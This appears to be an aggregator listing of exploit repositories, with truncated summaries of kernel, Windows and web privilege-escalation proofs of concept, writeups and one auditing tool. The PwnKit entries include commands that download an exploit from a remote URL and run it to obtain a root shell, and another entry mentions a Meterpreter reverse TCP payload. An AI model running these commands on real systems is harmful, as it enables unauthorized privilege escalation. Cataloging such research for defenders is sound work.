tcp-zerocopy-sm

Investigation is closed. Working fork: https://github.com/soumarcelino/Root-My-Galaxy-SM-S918B Read this - https://github.com/BuSung-dev/Root-My-Galaxy-Payloads/issues/160issuecomment-5227077583 Attempts to cause rights elevation w GhostLock via TCP Zerocopy. Designed expecially for 5.15. samsung...

ESCepcion

🛡️ ESCepcion Active Directory Certificate Services Auditor ESCepcion is an open-source tool for auditing and assessing vulnerabilities in Active Directory Certificate Services AD CS infrastructures. It is designed to automate the detection of privilege escalation paths ESC with a strict focus on...

token-priv

Abusing Token Privileges For EoP August 2017 Bryan Alexander @dronesec Stephen Breen @breenmachine This repository contains all code and a Phrack-style paper on research into abusing token privileges for escalation of privilege. Please feel free to ping us with questions, ideas, insults, or bugs...

GhostLock-OPPO-PCKM00

GhostLock — OPPO PCKM00 4.14.180 PoC CVE-2026-43499 GhostLock — Linux kernel futex priority-inheritance use-after-free local privilege escalation PoC, ported to the OPPO PCKM00 OP4A57, SM6150, Android 11, kernel 4.14.180-perf+. DISCLAIMER / 免责声明 This project is for authorized security research an...

BadSamba

DESCRIPTION This module is used to exploit startup script execution through Windows Group Policy settings when configured to run off of a remote SMB share. Windows Group Policy can be used to configure startup scripts that will execute each time the operating system powers on. These scripts execu...

acunetix_0day

Acunetix 0day RCE - SYSTEM Acunetix 0day RCE Usage Run script with dzonerzy:dvm dzonerzy$ python /Users/dzonerzy/PycharmProjects/natbypass/acu0day.py 9999 172.16.24.1 Acunetix WVS 10 - SYSTEM Remote Command Execution Daniele Linguaglossa Payload: Meterpreter reverse TCP 4444 Exploit started on po...

Win10Pcap-Exploit

Win10Pcap-Exploit credit to https://twitter.com/R00tkitSMM [email protected] telegram username : https://telegram.me/firozi some day ago i found vulnerability in win10pcap Driver that can lead to Privilege escalation i report vulnerability and now bug is fixed : www.win10pcap.org/download/ s...

uacscript

UAC Bypass Vulnerability in Windows Script Host The Windows Script Host executables suffer from a vulnerability due to a missing embedded manifest. Using another exploit, the combination of "wusa.exe" and "makecab.exe" files can be copied to the Windows folder. Copies of a manifest and the script...

slui-file-handler-hijack-privilege-escalation

Slui File Handler Hijack LPE Exploit Information| ---|--- Date| 15.01.2018 Patched| Windows 10 20H1 19041 exploit-db| 44830 Tested on| Windows 8-10, x86/x64 independent Description slui.exe is an auto-elevated binary that is vulnerable to file handler hijacking. Read access to...

SOC335---CVE-2024-49138-Exploitation-Detected

whoami root@soc: cat casefile.txt Platform : LetsDefend Case : SOC335 - CVE-2024-49138 Exploitation Detected EventID : 313 Alert T...

DIR8xx_PoC

phpcgi phpcgi is responsible for processing requests to .php, .asp and .txt pages. Also, it checks whether a user is authorized or not. Nevertheless, if a request is crafted in a proper way, an attacker can easily bypass authorization and execute a script that returns a login and password to a...

Exploit for OS Command Injection in Vsftpd_Project Vsftpd

FTP Service Enumeration & vsftpd 2.3.4 Backdoor Validation...

VulnHub-DC1-Writeup

VulnHub-DC1-Writeup "Penetration testing lab writeups documenting full attack chains — from recon to root." 🔓 VulnHub — DC-1 Boot-to-Root Writeup Difficulty: Beginner–Intermediate Platform: VulnHub Goal: Capture all 4 flags and achieve full root-level compromise Attacker OS: Kali Linux VirtualBox...

OVSwrap

OVSwrap CVE-2026-64531 Writeup !WARNING The PoC is provided solely to help defenders, maintainers, and authorized security teams validate patches, mitigations, detections, and exposure on systems they own or are explicitly authorized to test. You are solely responsible for ensuring that your use ...

CVE-2026-9645-ScadaBR-Analysis

CVE-2026-9645 — ScadaBR Vulnerability Analysis Technical vulnerability analysis and CVE briefing for CVE-2026-9645 , affecting the open-source ScadaBR SCADA/HMI platform. Overview CVE-2026-9645 is a critical authenticated remote code execution vulnerability in ScadaBR. According to the prepared...

KERNELexploits

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Manually curl -fsSL...

DirtyAH6

DirtyAH6 CVE-2026-80844 Разбор !WARNING PoC предоставлен исключительно для помощи защитникам, мейнтейнерам и авторизованным командам безопасности в проверке патчей, мер защиты, обнаружения и подверженности уязвимости на системах, которыми они владеют или которые им явно разрешено тестировать. Вы...

copyfail

Copy Fail CVE-2026-31431 – Руководство по использованию эксплойта Оригинальный Readme взят у @painoob Все версии ядра начиная с 2017 / 2016 уязвимы! Ядро 7 полностью защищено, остальные между 5-7 могут быть всё ещё уязвимы ⚠️ Отказ от ответственности Этот контент предназначен только для...

PwnKit-CVE-2021-4034

PwnKit PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation Exploit Manually curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command Patched Running the exploit...

CVE-2026-19652

The Divi Membership plugin for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 2.2.0. This is due to the dmemformsubmithandler function determining the new user's role by iterating all WordPress roles and calling passwordverify against an attacker-controlled bcry...